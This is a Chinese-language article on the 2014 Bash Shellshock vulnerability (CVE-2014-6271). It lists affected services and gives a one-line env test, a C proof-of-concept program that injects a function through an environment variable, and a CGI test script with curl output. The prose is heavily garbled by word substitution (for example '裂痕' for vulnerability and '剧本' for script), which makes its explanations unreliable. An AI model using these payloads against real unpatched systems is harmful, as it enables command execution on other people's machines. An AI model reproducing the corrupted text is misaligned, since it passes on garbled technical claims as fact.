0x00 什么是BASH
Bourne Again Shell(简称BASH)是在GNU/Linux上最风行的SHELL实现,于1980年降生,颠末尾几十年的进化从一个简朴的终端呼吁行表明器演酿成了和GNU系统深 度整合的多成果接口。
0x01 CVE-2014-6271
法国GNU/Linux喜好者Stéphane Chazelas于2014年9月中旬发明白著名的SHELL实)的一个裂痕,你可以通过结构情况变量的值来执行你想要执行的剧本代码,据报道称,这个裂痕能影响浩瀚的运行在GNU/Linux上的会跟BASH交互的应用措施,包罗:
在sshd设置中利用了ForceCommand用以限制长途用户执行呼吁,这个裂痕可以绕过限制去执行任何呼吁。一些Git和Subversion陈设情况的限制Shell也会呈现雷同环境,OpenSSH凡是用法没有问题。
Apache处事器利用mod_cgi可能mod_cgid,假如CGI剧本在BASH可能运行在子SHELL里城市受影响。子Shell中利用C的system/popen,,Python中利用os.system/os.popen,PHP中利用system/exec(CGI模式)和Perl中利用open/system的环境城市受此裂痕影响。
PHP剧本执行在mod_php不会受影响。
DHCP客户端挪用shell剧本吸收长途恶意处事器的情况变量参数值的环境会被此裂痕操作。
守护历程和SUID措施在情况变量配置的情况下执行SHELL剧本也大概受到影响。
任何其他措施执行SHELL剧本时用BASH作为表明器都大概受影响。Shell剧本不导出的环境下不会受影响。
OpenSSH, Apache2, php, dhcp client甚至带SUID的措施。
1,当地SHELL情况中测试是否有裂痕:$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
假如存在裂痕会打印"vulnerable"。
2,C措施:-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
测试:
[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me
这个POC中可以看出BASH基础就没有去处理惩罚末了,后头我们可以通过补丁来看为什么。
3,INVISIBLETHREAT上对付HTTP情况的测试:建设一个剧本叫poc.cgi:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
把剧本放入测试机后,输入:
$ curl http://192.168.0.1/poc.cgi<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>